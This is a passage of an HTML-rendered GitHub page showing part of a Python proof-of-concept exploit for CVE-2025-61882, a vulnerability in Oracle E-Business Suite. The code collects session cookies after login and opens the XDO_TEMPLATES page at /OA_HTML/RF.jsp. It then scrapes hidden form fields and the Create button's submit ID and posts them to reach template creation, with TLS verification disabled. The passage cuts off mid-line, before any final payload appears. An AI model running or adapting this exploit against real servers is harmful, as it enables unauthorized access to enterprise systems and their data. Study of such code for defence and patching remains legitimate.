class=pl-s>&amp;quot;Logged In As&amp;quot;</span> <span class=pl-c1>in</span> <span class=pl-s1>r</span>.<span class=pl-c1>text</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L122\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;122\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC122\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[+] Successfully obtained session cookies!&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L123\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;123\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC123\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-s1>cookies</span>.<span class=pl-c1>update</span>(<span class=pl-s1>r</span>.<span class=pl-c1>cookies</span>.<span class=pl-c1>get_dict</span>())</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L124\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;124\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC124\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-k>return</span> <span class=pl-s1>cookies</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L125\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;125\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC125\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>else</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L126\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;126\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC126\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[-] Failed to obtain valid session cookies.&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L127\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;127\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC127\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-k>return</span> <span class=pl-c1>None</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L128\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;128\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC128\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>except</span> <span class=pl-s1>requests</span>.<span class=pl-c1>RequestException</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L129\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;129\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC129\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[-] Something went wrong while getting cookies. Check manually.&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L130\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;130\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC130\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>return</span> <span class=pl-c1>None</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L131\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;131\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC131\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L132\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;132\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC132\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-k>def</span> <span class=pl-en>step_1</span>(<span class=pl-s1>url</span>):</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L133\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;133\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC133\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[*] Starting Step 1: Naviating to /OA_HTML/RF.jsp?function_id=XDO_TEMPLATES&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L134\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;134\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC134\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>url1</span> <span class=pl-c1>=</span> <span class=pl-s>f&amp;quot;<span class=pl-s1><span class=pl-kos>{</span><span class=pl-s1>url</span><span class=pl-kos>}</span></span>/OA_HTML/RF.jsp?function_id=XDO_TEMPLATES&amp;quot;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L135\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;135\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC135\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>response1</span> <span class=pl-c1>=</span> <span class=pl-s1>requests</span>.<span class=pl-c1>get</span>(<span class=pl-s1>url1</span>, <span class=pl-s1>headers</span><span class=pl-c1>=</span><span class=pl-c1>HEADERS</span>, <span class=pl-s1>cookies</span><span class=pl-c1>=</span><span class=pl-c1>COOKIES</span>, <span class=pl-s1>verify</span><span class=pl-c1>=</span><span class=pl-c1>False</span>, <span class=pl-s1>proxies</span><span class=pl-c1>=</span><span class=pl-c1>PROXY</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L136\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;136\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC136\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>return</span> <span class=pl-s1>response1</span>.<span class=pl-c1>text</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L137\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;137\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC137\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L138\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;138\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC138\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-k>def</span> <span class=pl-en>step_2</span>(<span class=pl-s1>url</span>, <span class=pl-s1>html_content</span>):</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L139\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;139\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC139\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[*] Starting Step 2: Navigating to Create Template Page...&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L140\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;140\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC140\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>soup</span> <span class=pl-c1>=</span> <span class=pl-en>BeautifulSoup</span>(<span class=pl-s1>html_content</span>, <span class=pl-s>&amp;#39;html.parser&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L141\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;141\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC141\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L142\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;142\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC142\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>form_tag</span> <span class=pl-c1>=</span> <span class=pl-s1>soup</span>.<span class=pl-c1>find</span>(<span class=pl-s>&amp;#39;form&amp;#39;</span>, <span class=pl-s1>id</span><span class=pl-c1>=</span><span class=pl-s>&amp;#39;DefaultFormName&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L143\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;143\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC143\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>if</span> <span class=pl-c1>not</span> <span class=pl-s1>form_tag</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L144\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;144\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC144\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[-] Error: Cannot find form DefaultFormName&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L145\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;145\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC145\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>return</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L146\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;146\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC146\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    </td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L147\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;147\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC147\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>action_url</span> <span class=pl-c1>=</span> <span class=pl-s1>form_tag</span>.<span class=pl-c1>get</span>(<span class=pl-s>&amp;#39;action&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L148\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;148\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC148\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>if</span> <span class=pl-s1>action_url</span>.<span class=pl-c1>startswith</span>(<span class=pl-s>&amp;quot;/&amp;quot;</span>):</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L149\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;149\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC149\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>full_url</span> <span class=pl-c1>=</span> <span class=pl-s>f&amp;quot;<span class=pl-s1><span class=pl-kos>{</span><span class=pl-s1>url</span><span class=pl-kos>}</span></span><span class=pl-s1><span class=pl-kos>{</span><span class=pl-s1>action_url</span><span class=pl-kos>}</span></span>&amp;quot;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L150\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;150\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC150\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>else</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L151\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;151\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC151\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>full_url</span> <span class=pl-c1>=</span> <span class=pl-s1>action_url</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L152\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;152\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC152\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L153\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;153\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC153\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>payload</span> <span class=pl-c1>=</span> {}</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L154\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;154\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC154\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>for</span> <span class=pl-s1>tag</span> <span class=pl-c1>in</span> <span class=pl-s1>soup</span>.<span class=pl-c1>find_all</span>(<span class=pl-s>&amp;#39;input&amp;#39;</span>, <span class=pl-s1>type</span><span class=pl-c1>=</span><span class=pl-s>&amp;#39;hidden&amp;#39;</span>):</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L155\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;155\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC155\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>name</span> <span class=pl-c1>=</span> <span class=pl-s1>tag</span>.<span class=pl-c1>get</span>(<span class=pl-s>&amp;#39;name&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L156\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;156\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC156\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>value</span> <span class=pl-c1>=</span> <span class=pl-s1>tag</span>.<span class=pl-c1>get</span>(<span class=pl-s>&amp;#39;value&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L157\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;157\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC157\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>if</span> <span class=pl-s1>name</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L158\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;158\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC158\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-s1>payload</span>[<span class=pl-s1>name</span>] <span class=pl-c1>=</span> <span class=pl-s1>value</span> <span class=pl-k>if</span> <span class=pl-s1>value</span> <span class=pl-k>else</span> <span class=pl-s>&amp;quot;&amp;quot;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L159\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;159\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC159\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L160\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;160\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC160\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>   </td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L161\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;161\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC161\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>create_btn</span> <span class=pl-c1>=</span> <span class=pl-s1>soup</span>.<span class=pl-c1>find</span>(<span class=pl-s>&amp;quot;button&amp;quot;</span>, {<span class=pl-s>&amp;quot;id&amp;quot;</span>: <span class=pl-s>&amp;quot;Create&amp;quot;</span>})</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L162\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;162\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC162\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    </td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L163\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;163\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC163\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>if</span> <span class=pl-s1>create_btn</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L164\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;164\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC164\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>onclick_text</span> <span class=pl-c1>=</span> <span class=pl-s1>create_btn</span>.<span class=pl-c1>get</span>(<span class=pl-s>&amp;quot;onclick&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L165\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;165\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC165\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>match</span> <span class=pl-c1>=</span> <span class=pl-s1>re</span>.<span class=pl-c1>search</span>(<span class=pl-s>r&amp;quot;&amp;#39;_FORM_SUBMIT_BUTTON&amp;#39;:&amp;#39;([^&amp;#39;]+)&amp;#39;&amp;quot;</span>, <span class=pl-s1>onclick_text</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L166\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;166\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC166\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>if</span> <span class=pl-s1>match</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L167\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;167\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC167\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-s1>submit_id</span> <span class=pl-c1>=</span> <span class=pl-s1>match</span>.<span class=pl-c1>group</span>(<span class=pl-c1>1</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L168\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;168\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC168\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-c># print(f&amp;quot;[+] Found Create Button ID: {submit_id}&amp;quot;)</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L169\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;169\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC169\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            </td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L170\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;170\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC170\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-s1>payload</span>[<span class=pl-s>&amp;#39;_FORM_SUBMIT_BUTTON&amp;#39;</span>] <span class=pl-c1>=</span> <span class=pl-s1>submit_id</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L171\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;171\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC171\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            </td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L172\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;172\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC172\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-s1>payload</span>[<span class=pl-s>&amp;#39;event&amp;#39;</span>] <span class=pl-c1>=</span> <span class=pl-s>&amp;#39;&amp;#39;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L173\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;173\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC173\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-s1>payload</span>[<span class=pl-s>&amp;#39;source&amp;#39;</span>] <span class=pl-c1>=</span> <span class=pl-s>&amp;#39;&amp;#39;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L174\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;174\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC174\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>else</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L175\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;175\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC175\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[-] Regex failed on onclick text&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L176\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;176\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC176\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-k>return</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L177\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;177\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC177\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>else</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L178\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;178\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC178\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[-] Could not find Create Template button&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L179\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;179\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC179\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>return</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L180\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;180\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC180\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L181\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;181\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC181\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[*] Sending POST request to navigate to Create Page...&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L182\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;182\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC182\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    </td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L183\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;183\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC183\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>try</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L184\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;184\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC184\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>r</span> <span class=pl-c1>=</span> <span class=pl-s1>requests</span>.<span class=pl-c1>post</span>(<span class=pl-s1>full_url</span>, <span class=pl-s1>headers</span><span class=pl-c1>=</span><span class=pl-c1>HEADERS</span>, <span class=pl-s1>cookies</span><span class=pl-c1>=</span><span class=pl-c1>COOKIES</span>, <span class=pl-s1>data</span><span class=pl-c1>=</span><span class=pl-s1>payload</span>, <span class=pl-s1>verify</span><span class=pl-c1>=</span><span class=pl-c1>False</span>, <span class=pl-s1>proxies</span><span class=pl-c1>=</span><span class=pl-c1>PROXY</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L185\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;185\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC185\&quot; class=\&quot;blob-code blob-code-inner 